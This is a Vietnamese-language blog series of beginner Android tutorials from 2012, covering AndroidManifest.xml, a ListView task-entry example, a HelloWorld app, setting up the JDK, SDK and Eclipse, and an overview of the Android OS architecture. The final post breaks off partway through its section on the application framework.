Xay dung giao dien don gian

Android Manifest
Trong khung Package Explorer, ở phía dưới thư mục res, bạn sẽ thấy 1 file có tên là AndroidManifest.xml. Mỗi ứng dụng đều cần có AndroidManifest.xml để mô tả những thông tin quan trọng của nó cho hệ thống Android biết. Let’s look closer:

Mã:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
      package="at.exam"
      android:versionCode="1"
      android:versionName="1.0">
    <application android:icon="@drawable/icon" android:label="@string/app_name">
        <activity android:name=".Example"
                  android:label="@string/app_name">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>
    <uses-sdk android:minSdkVersion="3" />
</manifest>

Cụ thể những công việc mà AndroidManifest.xml thực hiện:
– Đặt tên cho Java package của ứng dụng.
– Mô tả các thành phần (component) của ứng dụng: activity, service, broadcast receiver hoặc content provider.
– Thông báo những permission mà ứng dụng cần có để truy nhập các protected API và tương tác với các ứng dụng khác.
– Thông báo những permission mà các ứng dụng khác cần có để tương tác với ứng dụng hiện thời.
– Thông báo level thấp nhất của Android API mà ứng dụng cần để chạy. (Android 1.0 là level 1, 1.1 là level 2, 1.5 level 3, 1.6 level 4 và 2.0 là level 5).

Hãy xem thử file AndroidManifest.xml của chương trình TooDo mình đang xây dựng:

Mã:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
      package="android.at"
      android:versionCode="1"
      android:versionName="1.0">
    <application android:icon="@drawable/icon" android:label="@string/app_name">
        <activity 
                android:name=".TooDo"
                android:screenOrientation="landscape"
                android:theme="@android:style/Theme.NoTitleBar.Fullscreen"
                android:label="@string/app_name">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <activity android:name=".WorkEnter">
        </activity>
        <receiver android:name=".AlarmReceiver">
        </receiver>
    </application>
    <uses-sdk android:minSdkVersion="3" />
    <uses-permission android:name="android.permission.VIBRATE"/>
</manifest>

Main Activity của chương trình Too Do này là activity TooDo. Ngoài ra mình còn có 1 Activity khác có tên là WorkEnter để cho phép nhập vào thời gian và nội dung công việc. 1 Broadcast Receiver có tên là AlarmReceiver để nhận alarm gửi tới trong intent. Khi alarm được nhận sẽ có âm thanh và rung (vibration). Tất cả công việc sẽ được viết trong code, nhưng bắt buộc bạn phải khai báo các thành phần có trong ứng dụng vào AndroidManifest nếu muốn chương trình hoạt động. Tương tự, set permission để truy nhập camera, internet, đọc contact… cũng đều phải khai báo trong AM. Từ khóa screenOrientation cho phép thiết lập giao diện khi vào ứng dụng theo chiều dọc (portrait – mặc định) hay ngang (landscape), theme cho phép sử dụng style có sẵn của android là full-screen (ko có thanh status bar nữa).
Intent filter là bộ lọc dùng để giới hạn các intent được sử dụng trong activity hay receiver…

Mã:
<intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data android:scheme="http" android:host="www.google.com" android:path="/m/products/scan"/>
      </intent-filter>

Bộ lọc trên chỉ cho phép intent mở internet với đường dẫn định nghĩa sẵn (http://www.google.com/m/products/scan)
Ok, hi vọng mọi người đã nắm được chức năng cơ bản cũng như cách sử dụng Android Manifest

Working with View
Trong bài 1 mình đã giới thiệu qua cách sử dụng Edit Text và Text View. Thực chất các View còn lại cũng có cách sử dụng tương tự, bạn sẽ kết hợp nhiều View khác nhau để cho ra giao diện mình mong muốn. Ở đây mình sẽ đề cập nhiều tới List View (theo ý kiến mình là View khó sử dụng nhất).

Yêu cầu: Xây dựng một chương trình cho phép nhập nội dung công việc và thời gian rồi list ra
B1: Vẫn bắt đầu bằng cách khởi tạo một Project mới: File -> New -> Android Project.
Project name: Example 2
Build Target: Chọn Android 1.5
Application name: Example 2
Package name: at.exam
Create Activity: Example
=> Kích nút Finish.

B2: Đi tới res/main.xml để xây dựng giao diện cho chương trình:

Mã:
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:orientation="vertical"
    android:layout_width="fill_parent"
    android:layout_height="fill_parent"
    >
    <EditText
        android:id="@+id/work_enter"
        android:layout_width="fill_parent"
        android:layout_height="wrap_content"
        android:hint="@string/work_hint"
        android:lines="1"
        android:textSize="24px"
    />
    <LinearLayout
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:orientation="horizontal"
        >
        <TextView
            android:layout_width="50px"
            android:layout_height="wrap_content"
            android:text="@string/hour_edit"
            android:typeface="normal"
            android:textSize="15px"
            android:textStyle="bold"
            android:padding="5px"
        />
        <EditText
            android:id="@+id/hour_edit"
            android:layout_width="45px"
            android:layout_height="wrap_content"
            android:hint="12"
            android:textColorHint="@color/hint_color"
            android:textSize="20px"
            android:gravity="center"
            android:padding="5px"
            android:numeric="integer"
            android:maxLength="2"
        />
        <TextView
            android:layout_width="65px"
            android:layout_height="wrap_content"
            android:text="@string/minute_edit"
            android:typeface="normal"
            android:textSize="15px"
            android:textStyle="bold"
            android:padding="5px"
        />
        <EditText
            android:id="@+id/minute_edit"
            android:layout_width="45px"
            android:layout_height="wrap_content"
            android:hint="00"
            android:textColorHint="@color/hint_color"
            android:textSize="20px"
            android:gravity="center"
            android:padding="5px"
            android:numeric="integer"
            android:maxLength="2"
        />        
    </LinearLayout>
    <Button
        android:id="@+id/button"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:gravity="center"
        android:text="@string/button_content"
        />
    <ListView
        android:id="@+id/list"
        android:layout_width="fill_parent"
        android:layout_height="wrap_content"
    />
</LinearLayout>

Giao diện ta thiết kế ở đây có 1 Linear Layout làm thành phần chính, các thành phần con của nó gồm 1 Edit Text (dùng để nhập nội dung công việc), 1 Linear Layout (lại gồm các thành phần con để nhập giờ và phút thực hiện công việc), 1 Button (để thêm nội dung công việc vào List View) và 1 List View dùng để list các công việc bạn đã nhập.
Từ khóa lines được dùng để cố định số dòng và nên sử dụng với Edit Text thay vì dùng mỗi wrap_content vì nếu sd wrap_content thì Edit Text sẽ tự giãn ra nếu dòng nhập vào vượt giới hạn đường bao (làm hỏng giao diện bạn thiết kế).
Từ khóa gravity thông báo các thành phần con sẽ được sắp xếp ntn ở thành phần cha. Ở đây mình dùng “center” nghĩa là thành phần con nằm ở trung tâm. Hãy thử thêm vào 1 Edit Text:

Mã:
android:gravity="center"

Bạn sẽ thấy dòng chữ nhập vào sẽ bắt đầu từ giữa của Edit Text chứ không bắt đầu từ bên trái như trước nữa.
Từ khóa padding dùng để cách 1 khoảng cách cho thành phần. Nếu không có padding thì 2 thành phần con thuộc cùng 1 LinearLayout sẽ được xếp sát nhau, nhưng nếu 1 thành phần con sử dụng padding thì sẽ tạo được khoảng cách với thành phần còn lại theo mong muốn. Ngoài ra còn có paddingLeft, paddingRight, paddingTop, paddingBottom.
Từ khóa numeric dùng để giới hạn dạng ký tự nhập vào. Ở đây mình muốn chỉ nhập vào chữ số nên dùng “integer”
Từ khóa maxLength dùng để giới hạn số ký tự nhập vào. Do Edit Text này dùng để nhập giờ nên maxLength=”2″.

Ok, giờ đến 1 chút kiến thức về các đơn vị của dimenson:
– px (pixel): điểm chấm trên màn hình.
– in (inch)
– mm (milimet)
– pt (point) = 1/72 m
– dp (density – independent pixel): cái này hơi khó giải thích. Nói chung dp được sử dụng cho nhiều độ phân giải, và với độ phân giải 160 px/inch thì 1 dp = 1 px.
– sp: gần giống dp, nên sử dụng cho text size.
Nói chung nên sử dụng dp và sp để định nghĩa size cho các thành phần, vì nó có tỉ lệ cố định với độ phân giải của màn hình. Còn nếu bạn chủ tâm xây dựng cho 1 độ phân giải nhất định thì dùng px cho chính xác và chắc chắn.

B3: Tới values/strings.xml chỉnh sửa như sau:

 
?xml version="1.0" encoding="utf-8"?>
<resources>
    <string name="app_name">Example 2</string>
    <string name="work_hint">Enter the work here</string>
    <string name="hour_edit">Hour</string>
    <string name="minute_edit">Minute</string>
    <string name="button_content">Add work</string>
</resources>

B4: Tạo mới colors.xml trong values với nội dung:

<?xml version="1.0" encoding="utf-8"?>
<resources>
    <color name="hint_color">#cccccc</color>
</resources>

OK, vậy là đã hoàn thiện phần giao diện. Các bạn có thể cho chạy thử ngay để kiểm tra xem giao diện đã như ý muốn chưa chứ không cần đợi hoàn thành cả code (Run as -> Android Application).

B5: Time to coding. Tới thư mục src/Example.java và thay đổi nội dung file như sau:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package at.exam;
 
import java.util.ArrayList;
 
import android.app.Activity;
import android.app.AlertDialog;
import android.content.DialogInterface;
import android.os.Bundle;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.ArrayAdapter;
import android.widget.Button;
import android.widget.EditText;
import android.widget.ListView;
 
public class Example extends Activity {
    /** Called when the activity is first created. */
    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.main);
         
        //Tạo mảng để chứa String nội dung công việc và giờ
        final ArrayList<String> arrayWork = new ArrayList<String>();
        //Adapter dùng để kết nối mảng với List View
        final ArrayAdapter<String> arrayAdapter = new ArrayAdapter<String>(this,
                android.R.layout.simple_list_item_1, arrayWork);
         
        //Các EditText để vào nội dung công việc được lấy về từ XML      
        final EditText workEnter = (EditText) findViewById(R.id.work_enter);
        final EditText hourEdit = (EditText) findViewById(R.id.hour_edit);
        final EditText minuteEdit = (EditText) findViewById(R.id.minute_edit);
         
        //Button khi nhấn sẽ thêm công việc vào ListView
        final Button button = (Button) findViewById(R.id.button);
         
        //ListView chứa danh sách công việc
        final ListView list = (ListView) findViewById(R.id.list);
        //Cần set Adapter cho list để biết sẽ lấy nội dung từ mảng arrayWork
        list.setAdapter(arrayAdapter);
         
        //Định nghĩa Listener xử lý sự kiện nhấn vào button
        OnClickListener add = new OnClickListener() {
            @Override
            public void onClick(View v) {
                //Nếu 1 trong 3 Edit Text không có nội dung thì hiện lên cảnh báo
                if (workEnter.getText().toString().equals("") ||
                        hourEdit.getText().toString().equals("") ||
                        minuteEdit.getText().toString().equals("")) {                   
                    AlertDialog.Builder builder = new AlertDialog.Builder(Example.this);
                    builder.setTitle("Info missing");
                    builder.setMessage("Please enter all information of the work");
                    builder.setPositiveButton("Continue", new DialogInterface.OnClickListener() {
                        public void onClick(DialogInterface dialog, int which) {
                            // TODO Auto-generated method stub                           
                        }                       
                    });
                    builder.show();
                }
                //Lấy nội dung công việc và thời gian ra từ Edit Text và đưa vào list
                else {
                    String str = workEnter.getText().toString() + " - "
                                    + hourEdit.getText().toString() + ":"
                                    + minuteEdit.getText().toString();
                    arrayWork.add(0,str);
                    arrayAdapter.notifyDataSetChanged();
                    workEnter.setText("");
                    hourEdit.setText("");
                    minuteEdit.setText("");
                }
            }
             
        };
         
        //set Listener cho button
        button.setOnClickListener(add);   
    }
}

Mình đã chú thích đầy đủ và đoạn code cũng khá dễ hiểu. Tuy nhiên cần lưu ý 2 vấn đề ở đây.
– Khởi tạo đối tượng ArrayAdapter: Các bạn thấy đối số truyền vào là (this, android.R.layout.simple_list_item_1, arrayWork). This là đối số của lớp Context (ở đây chính là activity Example). Bạn sẽ gặp Context trong rất nhiều khởi tạo các lớp và nên hiểu Context có ý nghĩa gì. Mình xin đưa ra giải thích của anh Giáp (thank mr giaplv):

Context thuộc android.content (android.content.Context).

Là một Interface (lớp giao tiếp) chứa hầu hết thông tin về môi trường ứng dụng của android, có nghĩa là mọi thao tác, tương tác với hệ điều hành điều phải qua lớp này.
Nó là một lớp abstract (trừu tượng) cung cấp cho những lớp khác các phương thức để tương tác với hệ thống Android.
Nó cho phép truy cập tới các nguồn tài nguyên (resources) đã được định nghĩa và các lớp khác. Ví dụ như nó có thể khởi tạo và chạy các activities, các broadcast và các intents,… Chúng ta coi như Contex là một lớp ở mức ứng dụng (Application level- liên quan tới hệ thống).

Tóm lại context giúp chúng ta dễ dàng truy cập và tương tác tới các tài nguyên của hệ thống, các thông tin, các dịch vụ (services), các thông số cấu hình, database, wallpaper, danh bạ, cuộc gọi, kết nối, chế độ rung (vibrator),…

***sở dĩ hầu hết các lớp có liên quan tới UI (layout, button, textview, imageview, listview,…) đều pải super tới Context vì bản thân nó đảm nhiệm việc truy cập resource (R.id, R.layout,….). Nếu chúng ta không tham chiếu tới Context class thì đương nhiên không thể dùng tới các resources mà chúng ta đã tạo ra.

Tiếp theo là android.R.layout.simple_list_item_1, đối này định nghĩa cách thể hiện item (ở đây là String) trong List View. Các bạn hãy ghi nhớ android.R.* là các tài nguyên (resource) có sẵn của Android cho phép bạn truy cập và sử dụng. Sau này khi hướng dẫn tạo custom View cho List View mình sẽ đề cập lại vấn đề này.
Cuối cùng arrayWork chính là mảng cần được bind của adapter.

– AlertDialog là lớp cho phép đưa ra 1 hộp thoại, thường dùng để đưa ra thông tin hoặc cảnh báo đơn giản. Trong code mình tạo 1 builder, tạo tiêu đề (title) cho nó, đưa ra thông báo (message) và cuối cùng là tạo 1 positive button (nhưng không định nghĩa xử lý khi nhấn nút này, vì vậy nếu bạn nhấn nút thì dialog sẽ chỉ đơn giản thực hiện việc đóng lại).

B6: Tiến hành chạy thử chương trình. Run as -> Android Application. Enjoy yourself

November 24, 2012 at 2:55 am Leave a comment

helloworld

Trên màn hình Eclipse bạn chọn New project – android project – next.
Ở màn hình tiếp theo, bạn cần điền các thông số cho project của bạn bao gồm tên project, tên app, tên của activity đầu tiên, package chứa project , phiên bản thấp nhất của HĐH android có thể chạy được app của bạn.
Giả sử ta cần code 1 app HelloWorld với mục đích hiển thị dòng HelloWorld lên màn hình
Ta tạo theo hình sau:

Các bạn chú ý : ở phần chọn ver cho Android các bạn chọn 1.6 (cho dễ tương thích, mặc dù có 4.x rồi) và ở phần Min SDK thì gõ 4 vào –> Số 4 này lấy ở đâu : xin thưa là ở cái bảng Build Target ấy : android 1.6 sẽ ứng với API là 4.
Còn nữa : Android yêu cầu fai cho package của bạn vào các thư mục vì thế khi bạn điền tên package nên điền tên theo kiểu phân cấp folder1.folder2….NamePackage( như trong hình là mình điền myApp.helloWorld). Eclipse ko chấp nhận tên package chỉ trơ trọi cái tên đứng 1 mình, cái này để bạn quản lý dễ hơn. Khi vào thư mục chứa android data bạn sẽ thấy Eclipse tạo 1 cái 4der myApp cho bạn.

Sau khi điền các thông số, các bạn ấn finish. Vậy là ta vừa tạo 1 app HelloWorldText chạy được trên Android, tiếc là nó ko làm j cả. hehe.

Giờ dạo qua xem cái package của ta chứa những cái j nhé. Bạn nhìn sang cửa sổ bên trái, nơi chứa các package, click vào các dấu cộng để xem bên trong các thư mục là cái j nhé.

Đầu tiên là thư mục src, nơi chứa file code của project:

Cấu trúc của 1 file Android code là 1 file java, chỉ khác về các package, class và các method trong class thôi. Vì thế dễ hiểu vì sao các bạn nhìn thấy file Android code có đuôi là .java, và khi click vào đó thì các form, từ khóa giống như trong java. Nếu bạn nào đã học java thì thấy rất quen thuộc, còn nếu ai chưa học java thì cũng ko sao, ta sẽ đi từ đầu, nhìn thoáng qua cái phần code đó là được rồi.

Tiếp đến là file R.java trong thư mục gen. Chúng ta chưa cần biết đây là thư mục j và fle R.java để làm j. Chỉ cần xem code bên trong và để ý đến dòng comment của Android : “Day la file tu dong tao ra. Cam chinh sua duoi moi hinh thuc” :D mình dịc ra là thế.Hehe

Tiếp đến là thư mục android 1.6. Thư mục này chứa các package hỗ trợ cho việc lập trình của bạn. Bỏ qua thư mục này

Cuối cùng là thư mục res. Thư mục này chứa các file tài nguyên, những file mà khi acitvity chạy sẽ gọi đến. Để ý đến thư mục con layout, trong thư mục này có file main.xml. File này gần giống như các file main của ngôn ngữ khác.
Mục đích của file main này, theo ngu ý của mình thì là để có thêm 1 cách viết code nữa cho app.

Lấy ví dụ như bạn muốn HelloWorld hiển thị 1 dòng là “Hello World, this is my text, bạn sẽ chèn đoạn code này vào file HelloWorldText.java

TextView HelloWorldTextView = new TextView(this);
        HelloWorldTextView.setText("Hello World, this is my TextView");

và đổi setContentView(R.layout.main) thành setContentView(HelloWorldTextView)

Tức là phần code của bạn sẽ là :

public class HelloAndroid extends Activity {
    /** Called when the activity is first created. */
    [MENTION=123941]override[/MENTION]
    public void onCreate(Bundle icicle) {
        super.onCreate(icicle);
        TextView HelloWorldTextView = new TextView(this);
        HelloWorldTextView.setText("Hello World, this is my TextView");
        setContentView(HelloWorldTextView);
    }
}

Giải thích 1 chút: đoạn code trên ta đã tạo ra 1 View dạng text (từ khóa là TextView) với tên gọi là HelloWorldTextView. Cú pháp câu lệnh tạo mới 1 textview (và sau này là các view khác nữa, như button, hay image…) có dạng

TypeView View_name = new TypeView();

Sau khi tạo mới bạn cần set thuộc tính cho View, trong ví dụ trên câu lệnh :

 HelloWorldTextView.setText("Hello World, this is my TextView");

dùng để set nội dung cho TextView. Ngoài ra sau này các bạn gặp các View khác thì sẽ có các thuộc tính khác.

Bạn có thể xem hình :

Sau khi code xong, bạn ấn ctrl+S và ctrl+f11 để chạy thử nhé. Nhớ đợi emulator khởi động, ko lại như mình nó đang khởi động ko biết tưởng code sai, tắt đi và ngồi debug thì khổ. Hì. Đấy là lần đầu tiên thôi. Lần sau ko ngớ ngẩn vậy nữa

Trên đây là cách thứ nhất để tạo 1 textView, đó là dựa vào code để design. Còn cách nữa là dựa vào file main.xml để tạo 1 textview như thế mà ko liên quan j đến phần code cả. Các bạn theo dõi tiếp ở phần tiếp theo

Tiếp tục nào. Quay lại với HelloWorld, phần trên ta đã tạo ra 1 app chạy dòng chữ “Hello World, this is my Text” bằng cách code vào file java. Giờ ta sẽ xem xét 1 cách mới là code vào file main.xml

Trước tiên xem qua cái file main.xml trước khi code cái nào :

 Cái này, thực tình em cũng chẳng biết nói sao nữa. . Giờ hãy làm như sau : Xóa phần code dùng để tạo TextView ở file HelloWorldText.java đi. Tức là xóa phần này đây ạ

<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:orientation="vertical"
    android:layout_width="fill_parent"
    android:layout_height="fill_parent"
    >
<TextView  
    android:layout_width="fill_parent" 
    android:layout_height="wrap_content" 
    android:text="textview"
    />
</LinearLayout>

Và quay sang file main để sửa cái thẻ TextView thành như sau

<TextView  
    android:layout_width="fill_parent" 
    android:layout_height="wrap_content" 
    android:text="Hello World, this is my Text"
    />

Save vào và ctrl F11 chạy thử xem nó có ra như lúc nãy ko, nếu ko ra thì chắc các bạn gõ sai đâu rồi,

November 24, 2012 at 2:45 am Leave a comment

Cong cu cho android

Bước 1: Cài đặt JDK
Link Download JDK http://www.oracle.com/technetwork/java/javase/downloads/jdk-7u4-downloads-1591156.html

Tìm phiên bản phù hợp rồi tick vào ô Accept License Agreement
Sau đó chọn phiên bản phù hợp vơi Hệ điều hành đang dùng nếu là windown 32bit bạn chọn bản Windown x86 như vòng tròn ở trên

Bước 2:Download SDK Android.

Vào trang web sau: http://developer.Android.com/sdk/index.html

- SDK cung cấp cho 3 hệ điều hành là : Window, MacOS, Linux. Tùy theo các hệ điều hành mà ta chọn các gói. Hình ảnh miêu ta các gói trên website.

- Khi đã download SDK ta thực hiện giải nén và chạy file sau theo đường dẫn: Android-sdk-windows\SDK Manager.exe. Khi chạy file này ta sẽ có kết quả như hình sau.

- Tiếp theo ta chọn các gói cần cài đặt, chọn xong các ta chọn Install. Sau đó đợi cho nó chạy xong.

Bước 2:

- Download Eclipse để tích hợp SDK vào Eclipse. Các bạn vào trang web http://www.eclipse.org/downloads/download Eclipse. (Khuyên dùng: Eclipse IDE for Java EE Developers).

- Download xong eclipse ta mở eclipse lên và thực hiện như sau: Chọn Help->Install New Softwares, hộp thoại hiện ra và chọn add sau đó thêm đường dẫn sau

https://dl-ssl.google.com/Android/eclipse/ vào Location rồi click OK. Ảnh minh họa như sau.

. Đợi cho chạy xong là ta đã cài xong ADT.

- Tiếp theo là ta cài đặt đường dẫn trỏ tới thư mục SDK, thiết lập đường dẫn như sau: Eclipse -> Windows -> Preferences -> Android , tiếp chọn Browse rồi chọn đến thư mục SDK mà bước 1 đã giải nén ra. Chọn Ok để hoàn thành.

Như vậy là ta đã cài đặt xong môi trường để phát triển Android. Kết quả cài đặt thành công sẽ có màn hình như sau.

Bước 2: Tạo một điện thoại ảo (AVD)

- Eclipse -> window -> Android SDK and AVD manager -> ở cái cửa sổ mới đó, chọn mục Virtual devices -> bấm nút New…

Mục Name: đặt tên gì cũng được, cốt là dễ nhớ và phân biệt

Mục target: chọn anh nào có API level nào mà bạn muốn test các ứng dụng trên nó

Sdcard size: Bạn thích cho kích cỡ thẻ nhớ của máy ảo là bao nhiêu thì tùy

Sau đó bấm Create AVD, thế là xong

Bạn đã có máy ảo để thử

Bây giờ bạn đã có tất cả công cụ để lập trình cho android rồi hãy bắt đầu với ứng dụng kinh điển của

Heloword.Hihi

November 24, 2012 at 2:41 am Leave a comment

Gioi thieu chung Android OS

1. Giới thiệu chung về hệ điều hành Android.

Android là một hệ điều hành di động dựa trên nền tảng linux phiên bản 2.6 dành cho các dòng điện thoại SmartPhone. Đầu tiên được ra đời bởi công ty liên hợp Android, sau đó được Google mua lại và phát triển từ năm 2005 và trở thành một hệ điều hành di động mã nguồn mở, miễn phí, mạnh mẽ và được ưa chuộng cao trên thế giới.

Hệ điều hành Android một hệ điều hành rất mạnh, có bảo mật cao, hỗ trợ được nhiều công nghệ tiên tiến như 3G, GPS, EDGE, Wifi, NFC.. tương thích với nhiều phần cứng, hỗ trợ nhiều loại bộ nhập dữ liệu như keyboard, touch và trackball. Android là hệ điều hành di động nên có khả năng kết nối cao với các mạng không dây. Hỗ trợ công nghệ OpenGL nên có khả năng chơi các phương tiện media, hoạt hình cũng như trình diễn các khả năng đồ họa khác cực tốt, là tiền đề để phát triển các ứng dụng có giao diện phức tạp chẳng hạn như là các trò chơi.

Android liên tục được phát triển, mỗi bản cập nhật từ google là mỗi lần Android được tối ưu hóa để hoạt động tốt hơn, nhanh và ổn định hơn, hỗ trợ thêm công nghệ mới. Chẳng hạn như theo một đánh giá thì Android phiên bản 2.2 hoạt động nhanh hơn bản 2.1 tới 450%. Hiện nay, phiên bản mới nhất 4.0.4 phát hành 2012 và đang tiếp tục được cập nhật.

Năm 2008, hệ điều hành Android đã chính thức mở toàn bộ mã nguồn, điều đó cho phép các hãng điện thoại có thể đem mã nguồn về tùy chỉnh, thiết kế lại sao cho phù hợp với mỗi mẫu mã điện thoại của họ và điều quan trọng nữa là hệ điều hành mở này hoàn toàn miễn phí, không phải trả tiền nên giúp họ tiết kiệm khá lớn chi phí phát triển hệ điều hành. Những điều đó là cực kỳ tốt không chỉ đối với các hãng sản xuất điện thoại nhỏ mà ngay cả với những hãng lớn như Samsung, HTC….

Với Google, vì Android hoàn toàn miễn phí, Google không thu tiền từ những hãng sản xuất điện thoại, tuy không trực tiếp hưởng lợi từ Android nhưng bù lại, những dịch vụ của hãng như Google Search, Google Maps,… nhờ có Android mà có thể dễ dàng xâm nhập nhanh vào thị trường di động vì mỗi chiếc điện thoại được sản xuất ra đều được tích hợp hàng loạt dịch vụ của Google. Từ đó hãng có thể kiếm bội, chủ yếu là từ các nguồn quảng cáo trên các dịch vụ đó.

Với các nhà phát triển ứng dụng (developers), việc hệ điều hành Android được sử dụng phổ biến đồng nghĩa với việc họ có thể thoải mái phát triển ứng dụng trên nền Android với sự tin tưởng là ứng dụng đó sẻ có thể chạy được ngay trên nhiều dòng điện thoại của các hãng khác nhau. Họ ít phải quan tâm là đang phát triển cho điện thoại nào, phiên bản bao nhiêu vì nền tảng Android là chung cho nhiều dòng máy, máy ảo Java đã chịu trách nhiệm thực thi những ứng dụng phù hợp với mỗi dòng điện thoại mà nó đang chạy. Tất cả các chương trình ứng dụng được viết bằng ngôn ngữ Java kết hợp với XML nên có khả năng khả chuyển cao.

Một số hãng sản xuất điện thoại có sử dụng hệ điều hành Android tiêu biểu :

- HTC với các dòng Desire HD, Evo 4G, DROID ERIS, Desire Z, Hero, Desire, Tattoo, Wildfire, Droid Incredible, Legend, Magic, Google Nexus One, Dream, Aria, Paradise.

- LG với các dòng GT540 Optimus, Optimus Chic E720, Optimus One P500, GW620, Optimus Z, Optimus Q, KH5200 Andro-1, GW880, C710Aloha.

- MOTOROLA với các dòng MILESTONE 2, BACKFLIP, Droid XTreme, MT710 ZHILING, MILESTONE, XT720 MOTOROI, A1680, XT800 ZHISHANG, DEFY, CHARM, XT806…

- SAMSUNG với các dòng máy I9000 Galaxy S, Galaxy Tab, Epic 4G, i5510, I5500 Galaxy 5, I7500 Galaxy, I5800 Galaxy 3, M110S Galaxy S, I6500U Galaxy, Galaxy Q, I5700 Galaxy Spica, I8520 Galaxy Beam, I909 Galaxy S.

- SONY : XPERIA X10, XPERIA X10 mini, XPERIA X8.

- ACER với các dòng máy beTouch T500, Liquid E, Stream, Liquid, eTouch E110, beTouch E130, beTouch E400, beTouch E120, Liquid Metal.

- Ngoài ra còn nhiều hãng điện thoại vừa và nhỏ khác nữa cũng sử dụng hệ điều hành Android trong sản phẩm của mình….

Kiến trúc hệ điều hành Android.

Hệ điều hành Android có 4 tầng từ dưới lên trên là tầng hạt nhân Linux (Phiên bản 2.6), tầng Tầng Libraries & Android runtime , Tầng Application Framework và trên cùng là tầng Application.

1 Tầng hạt nhân Linux (Linux Kernel layer)

Hệ điều hành Android được phát triển dựa trên hạt nhân linux, cụ thể là hạt nhân linux phiên bản 2.6, điều đó được thể hiện ở lớp dưới cùng này. Tất cả mọi hoạt động của điện thoại muốn thi hành được thì đều được thực hiện ở mức cấp thấp ở lớp này bao gồm quản lý bộ nhớ (memory management), giao tiếp với phần cứng (driver model), thực hiện bảo mật (security), quản lý tiến trình (process).

Tuy được phát triển dựa vào nhân linux nhưng thực ra nhân linux đã được nâng cấp và sửa đổi rất nhiều để phù hợp với tính chất của những thiết bị cầm tay như hạn chế về bộ vi xử lý, dung lượng bộ nhớ, kích thước màn hình, nhu cần kết nối mạng không dây….

Tầng này có các thành phần chủ yếu :

- Display Driver : Điều khiển việc hiển thị lên màn hình cũng như thu nhận những điều khiển của người dùng lên màn hình (di chuyển, cảm ứng…).

- Camera Driver : Điều kiển hoạt động của camera, nhận luồng dữ liệu từ camera trả về.

- Bluetooth Driver : Điều khiển thiết bị phát và thu sóng Bluetooth.

- USB driver : Quản lý hoạt động của các cổng giao tiếp USB.

- Keypad driver : Điều khiển bàn phím.

- Wifi Driver : Chịu trách nhiệm về việc thu phát sóng wifi.

- Audio Driver : điều khiển các bộ thu phát âm thanh, giải mã các tính hiệu dạng audio thành tín hiệu số và ngược lại.

- Binder IPC Driver : Chịu trách nhiệm về việc kết nối và liên lạc với mạng vô tuyến như CDMA, GSM, 3G, 4G, E để đảm bảo những chức năng truyền thông được thực hiện.

- M-System Driver : Quản lý việc đọc ghi… lên các thiết bị nhớ như thẻ SD, flash

- Power Madagement : Giám sát việc tiêu thụ điện năng.

Tầng Library và Android runtime: Phần này có 2 thành phần là phần Library và Android Runtime.

a) Phần Libraries.

Phần này có nhiều thư viện được viết bằng C/C++ để các phần mềm có thể sử dụng, các thư viện đó được tập hợp thành một số nhóm như :

- Thư viện hệ thống (System C library) : Thư viện dựa trên chuẩn C, được sử dụng chỉ bởi hệ điều hành.

- Thư viện Media (Media Libraries) : Có nhiều mã để hỗ trợ việc phát và ghi các loại định dạng âm thanh, hình ảnh, video thông dụng.

- Thư viện web (LibWebCore) : Đây là thành phần để xem nội dung trên web, được sử dụng để xây dựng phần mềm duyệt web (Android Browse) cũng như để các ứng dụng khác có thể nhúng vào. Nó cực kỳ mạnh, hỗ trợ được nhiều công nghệ mạnh mẽ như HTML5, JavaScript, CSS, DOM, AJAX..

- Thư viện SQLite : Hệ cơ sở dữ liệu để các ứng dụng có thể sử dụng.

-  …..

b) Phần Android runtime

Phần này chứa các thư viện mà một chương trình viết bằng ngôn ngữ Java có thể hoạt động. Phần này có 2 bộ phận tương tự như mô hình chạy Java trên máy tính thường. Thứ nhất là các thư viện lõi (Core Library), chứa các lớp như JAVA IO, Collections, File Access. Thứ hai là một máy ảo java (Dalvik Virtual Machine) .

Mặc dù cũng được viết từ ngôn ngữ Java nhưng một ứng dụng Java của hệ điều hành Android không được chạy bằng JRE của Sun (nay là Oracle) (JVM) mà là chạy bằng máy ảo Dalvik do Google phát triển.

2 Tầng Application Framework.

Tầng này xây dựng bộ công cụ, các phần tử ở mức cao để các lập trình viên có thể nhanh chóng xây dựng ứng dụng. Nó được viết bằng Java, có khả năng sử dụng chung để tiết kiệm tài nguyên.

Đây là một nền tảng mở, điều đó có 2 điều lợi:

- Với các hãng sản xuất điện thoại : Có thể tùy biến để phù hợp với cấu hình điện thoại mà họ sản xuất cũng như để có nhiều mẫu mã, style (phong cách) hợp thị hiếu người dùng. Vì thế nên tuy cùng chung nền tảng Android mà điện thoại của Google có thể khác hẳn với Motorola, HTC, T-Mobile, Samsung…

- Với lập trình viên : Cho phép lập trình viên có thể sử dụng các API ở tầng trên mà không cần phải hiểu rõ cấu trúc bên dưới, tạo điều kiện cho lập trình viên tự do sáng tạo bởi vì chỉ cần quan tâm đến nội dung mà ứng dụng họ làm việc. Một tập hợp API rất hữu ích được xây dựng sẵn như hệ thống định vị, các dịch vụ chạy nền, liên lạc giữa các ứng dụng, các thành phần giao diện cấp cao …

Giới thiệu một số thành phần của phần này :

